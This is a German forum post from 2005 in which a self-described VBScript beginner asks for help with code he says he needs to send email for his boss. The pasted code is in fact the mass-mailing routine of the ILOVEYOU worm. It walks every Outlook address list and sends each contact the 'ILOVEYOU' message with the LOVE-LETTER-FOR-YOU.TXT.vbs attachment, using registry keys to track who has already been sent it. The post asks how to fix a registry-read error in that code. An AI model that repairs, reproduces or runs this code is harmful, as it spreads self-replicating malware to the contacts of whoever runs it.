000
08.12.2005, 18:11 Uhr
~emailuser
Gast
|
hallo!
Ich bin noch sehr neu in der vb/vbs Programmierung. :O Jedoch bat mich mein Firmenchef ein Programm zu schreiben, dass eine Mail versenden kann, dieses Programm muss aus Kompaktibilitätsproblemen leider in vbs geschrieben werden. Darum googelte ich mal im Internet um Infos zu bekommen. Ich habe folgenden Code gefunden:
Visual Basic: |
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB"&malead) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB"&malead,1,"REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB"&a,a.AddressEntries.Count else regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB"&a,a.AddressEntries.Count end if next Set out=Nothing Set mapi=Nothing
|
Wenn ich den Code ausführe bekomme ich aber folgenden Fehler:
Zeile: 8 Zeichen: 1 Fehler: Registrierungschlüssel "HKEY_CURRENT_USER....." wurde nicht zum Lesen geöffnet. Code: 80070002 Quelle: WshShell.RegRead
Was kann ich dagegen tun? Wo liegt der Fehler? |